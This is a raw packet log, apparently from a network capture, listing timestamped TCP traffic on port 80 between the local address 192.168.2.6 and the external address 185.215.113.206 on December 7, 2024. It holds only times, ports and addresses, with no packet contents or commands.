Dec 7, 2024 22:40:43.460107088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.460160017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.460226059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.460279942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.461033106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.461081982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.461144924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.461186886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.461994886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.462045908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.462106943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.462142944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.462949038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.463001966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.463028908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.463069916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.463943958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.463989973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.464061975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.464111090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.464796066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.464839935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.464895964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.464934111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.465749979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.465791941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.465857983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.465899944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.466721058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.466766119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.466808081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.466850042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.467659950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.467709064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.467771053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.467813015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.468604088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.468661070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.468730927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.468782902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.469538927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.469584942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.469721079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.469768047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.470499992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.470542908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.470585108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.470622063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.471446037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.471502066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.471528053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.471570015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.472363949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.472405910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.472476006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.472512960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.473324060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.473367929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.473438978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.473478079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.474253893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.474298954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.474359035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.474399090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.475204945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.475255966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.475294113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.475330114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.476144075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.476190090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.476250887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.476311922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.477149010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.477195024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.477225065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.477262020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.478054047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.478097916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.478164911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.478208065 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.478965044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.479010105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.479070902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.479114056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.479918957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.479963064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.480020046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.480062008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.480884075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.480947971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.480997086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.481038094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.481797934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.481842041 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.481911898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.481952906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.482750893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.482800007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.482871056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.482913017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.483864069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.483885050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.483915091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.483932972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.484682083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.484729052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.484772921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.484813929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.485589981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.485637903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.485706091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.485749006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.486569881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.486615896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.486675978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.486713886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.487515926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.487565994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.487600088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.487643003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.488450050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.488492012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.488584042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.488626003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.489419937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.489469051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.489501953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.489542007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.490322113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.490364075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.490402937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.490444899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.491291046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.491344929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.491358042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.491400003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.577617884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.577652931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.577692032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.577718973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.578018904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.578067064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.578152895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.578206062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.578946114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.578994036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.579046965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.579097986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.579890013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.579936028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.579988956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.580032110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.580837965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.580888987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.580962896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.581015110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.581810951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.581861019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.581967115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.582012892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.582722902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.582767963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.582885981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.582931042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.583667994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.583729029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.583782911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.583827019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.584642887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.584691048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.584738970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.584784031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.585599899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.585653067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.585663080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.585700989 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.643969059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.644023895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.644071102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.644098043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.644211054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.644260883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.644269943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.644316912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.645160913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.645255089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.645323992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.646114111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.646173000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.646265030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.646311045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.647044897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.647093058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.647152901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.647208929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.647994995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.648042917 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.648134947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.648181915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.648921013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.648964882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.649025917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.649071932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.649876118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.649921894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.649981976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.650043011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.650809050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.650852919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.650922060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.650966883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.651813030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.651858091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.651890039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.651935101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.652740002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.652786016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.652817011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.652863979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.653665066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.653711081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.653755903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.653795958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.654587984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.654634953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.654759884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.654805899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.655544043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.655594110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.655647039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.655689001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.656505108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.656550884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.656604052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.656651974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.657438040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.657480955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.657550097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.657594919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.658551931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.658591986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.658665895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.658714056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.659671068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.659718037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.659785986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.659828901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.660804033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.660851955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.660934925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.660985947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.661915064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.661973000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.662004948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.662050962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.663012028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.663063049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.663095951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.663141966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.664011955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.664064884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.664294958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.664340019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.665091038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.665138960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.665147066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.665191889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.665857077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.665894032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.665901899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.665944099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.666502953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.666548014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.666620970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.666663885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.667368889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.667416096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.667424917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.667460918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.668075085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.668124914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.668135881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.668175936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.668710947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.668756962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.668860912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.668904066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.669759989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.669806004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.669819117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.669857025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.670640945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.670687914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.670748949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.670793056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.671607971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.671653986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.671684027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.671730042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.672507048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.672554016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.672627926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.672672987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.673465014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.673508883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.673559904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.673604012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.674391985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.674437046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.674510002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.674554110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.675339937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.675389051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.675446987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.675493002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.676285028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.676331043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.676403999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.676460028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.677222013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.677268028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.677464962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.677506924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.678205967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.678250074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.678294897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.678337097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.679126978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.679174900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.679243088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.679290056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.680094004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.680140972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.680172920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.680212021 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.681006908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.681056976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.681117058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.681155920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.681948900 CET	80	49790	185.215.113.206	192.168.2.6
